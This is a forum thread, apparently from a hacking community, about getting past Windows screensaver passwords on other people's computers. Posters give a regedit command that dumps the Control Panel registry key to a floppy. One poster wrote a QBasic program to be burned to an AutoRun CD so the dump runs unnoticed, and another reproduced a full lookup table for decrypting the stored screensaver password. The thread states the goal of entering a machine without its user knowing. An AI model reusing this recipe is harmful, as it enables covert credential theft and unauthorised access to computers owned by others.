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  1. #11
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    Easy Registry Export

    Hey Terr...

    I haven't wrote my program yet...

    But....Here's a way for you to do an easy registry dump

    Execute the following:

    Regedit /e A:\key.txt "HKEY_CURRENT_USER\Control Panel"

    This will dump the Control Panel key... you can then find
    DesktopScreenSave_Data and run your crack on it.
    Simon Templer

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    couple of questions

    1. why would u want to get passed a screen saver just restart the damn thing lol

    2. if a computer is on with the screen saver running and we mess with the h.d remotly will it unload the screen saver?? or is it just mouse movment not a hd cycle? depends really??

    3. phrom if u just posted this to find out how to get passed the screen savers in shops dont worry theres nuthing usfull on those computer usually so its not really worth it?!! lol
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    Originally posted by Terr
    Anyone know of a registry control library for C++? I'm not eager to reinvent the wheel dealing with such a delicate monlith of data.
    You can use the "advapi32.dll" located in the windows/system32. Search the web to find out how it works.
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    Re: couple of questions

    Originally posted by RiOtEr

    2. if a computer is on with the screen saver running and we mess with the h.d remotly will it unload the screen saver?? or is it just mouse movment not a hd cycle? depends really??

    I believe that it requires action from a input device, i.e your keyboard or mouse, as your AntiVirus scanner or a scheduled task can start when the screen saver is on and it will stay on..
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    Re: Easy Registry Export

    Originally posted by Simon Templer
    Execute the following:
    Regedit /e A:\key.txt "HKEY_CURRENT_USER\Control Panel"
    I was trying to be prepared in case the computer had registry editing disabled. (And it's very hard to change the registry value that makes Regedit quit on startup with regedit itself! )

    hy would u want to get passed a screen saver just restart the damn thing lol
    Well, this way you can get in without either losing data, or letting the person who was on it know that someone was there when they come back.

    if a computer is on with the screen saver running and we mess with the h.d remotly will it unload the screen saver?? or is it just mouse movment not a hd cycle? depends really??
    I'm pretty sure that HD activity doesn't do it. For instance, some screensavers go through a series of screensavers, and that involves disk reading. A lot of things can be going on while a screensaver is running that involve HD access, so I really don't think HD access in itself affects the screensaver... Now, if you could remotely run a command, you could possibly change the screensaver, get the password, kill the screensaver process, etc... And if you only had share access (file access) you could download their registry, edit it, and upload it, (maybe, never tried.) so that their screensaver password is off when they boot up next time....

    Proactive: Thanks.
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    Smile Weee A Program

    Well....I tested out my hypothesis and have come to the following conclusions.

    My hypothesis about changing the registry for the ScreenSaverActive to disable the screen saver failed

    However, I did make the program you were talking about Terr...

    I didn't use VB 6, just in case they don't have the VB 6 Runtime Files....so I used good old QBasic

    4 Simple Lines:

    a$ = "REGEDIT /E A:\pass.txt " + CHR$(34) + "HKEY_CURRENT_USER\Control Panel" + CHR$(34)
    SHELL(a$)
    CLS
    END

    Compile that and burn it on a CD with AutoRun.INF and you'll be ready to go. (Unless, as Terr mentioned they have Regedit disabled...well then you, use a Registry function)

    I just happened to find an old text file that has a table that can be used to decipher the encrypted password.

    Here it is: (Just to clarify..I did not write this table)

    <--- Start Kraek's Text --->

    Now using this great table that my friend made, you can find every
    Char for the password. Like
    03 = K
    A7 = I
    3A = L
    51 = L
    22 = E
    3B = R
    Well that's all I guess for now.
    So have fun with it!
    (Table was made by: Akaina ICQ# 5573871)

    1 2 3 4 5 6 7 8 9 10 11 12 13 14

    A 09 AF 37 5C 26 28 E0 5A 3B CD 06 B9 15 D4
    B 0A AC 34 5F 25 2B E3 59 38 CE 05 BA 16 D7
    C 0B AD 35 5E 24 2A E2 58 39 CF 04 BB 17 D6
    D 0C AA 32 59 23 2D E5 5F 3E C8 03 BC 10 D1
    E 0D AB 33 58 22 2C E4 5E 3F C9 02 BD 11 D0
    F 0E A8 30 5B 21 2F E7 5D 3C CA 01 BE 12 D3
    G 0F A9 31 5A 20 2E E6 5C 3D CB 00 BF 13 D2
    H 00 A6 3E 55 2F 21 E9 53 32 C4 0F B0 1C DD
    I 01 A7 3F 54 2E 20 E8 52 33 C5 0E B1 1D DC
    J 02 A4 3C 57 2D 23 EB 51 30 C6 0D B2 1E DF
    K 03 A5 3D 56 2C 22 EA 50 31 C7 0C B3 1F DE
    L 04 A2 3A 51 2B 25 ED 57 36 C0 0B B4 18 D9
    M 05 A3 3B 50 2A 24 EC 56 37 C1 0A B5 19 D8
    N 06 A0 38 53 29 27 EF 55 34 C2 09 B6 1A DB
    O 07 A1 39 52 28 26 EE 54 35 C3 08 B7 1B DA
    P 18 BE 26 4D 37 39 F1 4B 2A DC 17 A8 04 C5
    Q 19 BF 27 4C 36 38 F0 4A 2B DD 16 A9 05 C4
    R 1A BC 24 4F 35 3B F3 49 28 DE 15 AA 06 C7
    S 1B BD 25 4E 34 3A F2 48 29 DF 14 AB 07 C6
    T 1C BA 22 49 33 3D F5 4F 2E D8 13 AC 00 C1
    U 1D BB 23 48 32 3C F4 4E 2F D9 12 AD 01 C0
    V 1E B8 20 4B 31 3F F7 4D 2C DA 11 AE 02 C3
    W 1F B9 21 4A 30 3E F6 4C 2D DB 10 AF 03 C2
    X 10 B6 2E 45 3F 31 F9 43 22 D4 1F A0 0C CD
    Y 11 B7 2F 44 3E 30 F8 42 23 D5 1E A1 0D CC
    Z 12 B4 2C 47 3D 33 FB 41 20 D6 1D A2 0E CF
    -------------------------------------------
    1 2 3 4 5 6 7 8 9 10 11 12 13 14

    0 78 DE 46 2D 57 59 91 2B 4A BC 77 C8 64 A5
    1 79 DF 47 2C 56 58 90 2A 4B BD 76 C9 65 A4
    2 7A DC 44 2F 55 5B 93 29 48 BE 75 CA 66 A7
    3 7B DD 45 2E 54 5A 92 28 49 BF 74 CB 67 A6
    4 7C DA 42 29 53 5D 95 2F 4E B8 73 CC 60 A1
    5 7D DB 43 28 52 5C 94 2E 4F B9 72 CD 61 A0
    6 7E D8 40 2B 51 5F 97 2D 4C BA 71 CE 62 A3
    7 7F D9 41 2A 50 5E 96 2C 4D BB 70 CF 63 A2
    8 70 D6 4E 25 5F 51 99 23 42 B4 7F C0 6C AD
    9 71 D7 4F 24 5E 50 98 22 43 B5 7E C1 6D AC

    <------- End of Kraek's Text ------->

    Well, phrom I think you've got enough information now to get past the screensaver

    Hope this has helped!!
    Simon Templer

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